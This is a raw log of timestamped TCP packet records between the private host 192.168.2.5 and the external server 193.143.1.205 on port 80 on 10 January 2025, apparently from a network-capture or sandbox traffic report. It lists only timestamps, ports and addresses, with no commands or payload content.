Jan 10, 2025 23:38:20.601202965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.601222992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.611093998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633290052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633317947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633342028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633358002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633368015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633374929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633388996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633404016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633410931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633419991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633436918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633457899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633476019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633557081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633572102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633588076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633609056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633615971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633626938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633642912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633790016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633827925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633860111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633872986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633903980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.633914948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633930922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633939981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633949041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.633991957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634172916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634190083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634207010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634222031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634239912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634252071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634347916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634404898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634419918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634433985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634444952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634466887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634530067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634543896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634584904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634618998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634634018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634654045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634668112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634676933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634685993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634706974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634731054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634744883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634759903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634763956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634776115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634790897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634792089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634834051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634880066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634895086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634908915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634923935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634928942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.634942055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.634958982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635490894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635507107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635524035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635535002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635561943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635581970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635596991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635611057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635627031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635632038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635643005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635658026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635730028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635745049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635759115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635762930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635773897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635790110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635803938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635808945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635819912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635834932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635835886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635850906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.635867119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.635896921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636419058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636434078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636450052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636478901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636483908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636501074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636518002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636518002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636565924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636596918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636610985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636626005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636641979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636645079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636657953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636676073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636681080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636727095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636735916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636742115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636780977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636780977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.636796951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636812925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.636837006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637367010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637382030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637397051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637430906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637449980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637466908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637487888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637504101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637521029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637528896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637556076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637558937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637573957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637588978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637604952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637625933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637649059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637674093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637687922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637702942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637720108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.637736082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.637763023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.656651020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656667948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656689882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656706095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656728983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656744003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656749964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.656758070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656774998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.656791925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.656800032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.656822920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.693866014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693895102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693917036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693933010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693949938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693965912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693984032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.693985939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.694024086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722091913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722136021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722152948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722177982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722196102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722206116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722210884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722227097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722243071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722244024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722244024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722259998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722265005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722275019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722291946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722305059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722309113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722325087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722330093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722349882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722363949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722366095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722385883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722409964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722412109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722429991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722455978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722456932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722507000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722526073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722579002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722614050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722620964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722711086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722747087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722753048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722799063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722843885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722851992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722887039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722935915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.722942114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.722992897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723030090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723036051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723064899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723109961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723109961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723140955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723180056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723190069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723233938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723268032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723279953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723303080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723351002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723367929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723419905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723459959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723472118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723524094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723556995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723578930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723592997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723625898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723637104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723660946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723694086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723710060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723728895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723758936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723773003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723793030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723826885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723843098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723860979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723901987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723907948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.723941088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.723984003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.728982925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729015112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729049921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729111910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729162931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729185104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729185104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729198933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729233980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729249954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729269028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729315042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729326963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729379892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729412079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729418993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729445934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729484081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729490042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729521990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729551077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729571104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729585886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729620934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729641914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729672909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729712963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729724884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729758024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729805946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729809999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729846954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729887962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.729897976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729931116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729967117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.729981899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730000019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730035067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730047941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730070114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730115891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730115891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730164051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730204105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730211973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730237961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730272055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730285883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730307102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730341911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730350018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730375051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730408907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730423927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.730443954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730478048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.730516911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754393101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754463911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754511118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754518986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754554033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754580975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754590034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754622936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754633904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754658937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754688978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754709959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754723072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754756927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754782915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754786968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754822016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754842997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.754858017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.754903078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.759701014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.759735107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.759747982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.759772062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.808728933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.868032932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873203993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873275995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873313904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873327971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873351097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873389959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873411894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873424053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873460054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:38:20.873476982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:38:20.873495102 CET	80	49704	193.143.1.205	192.168.2.5
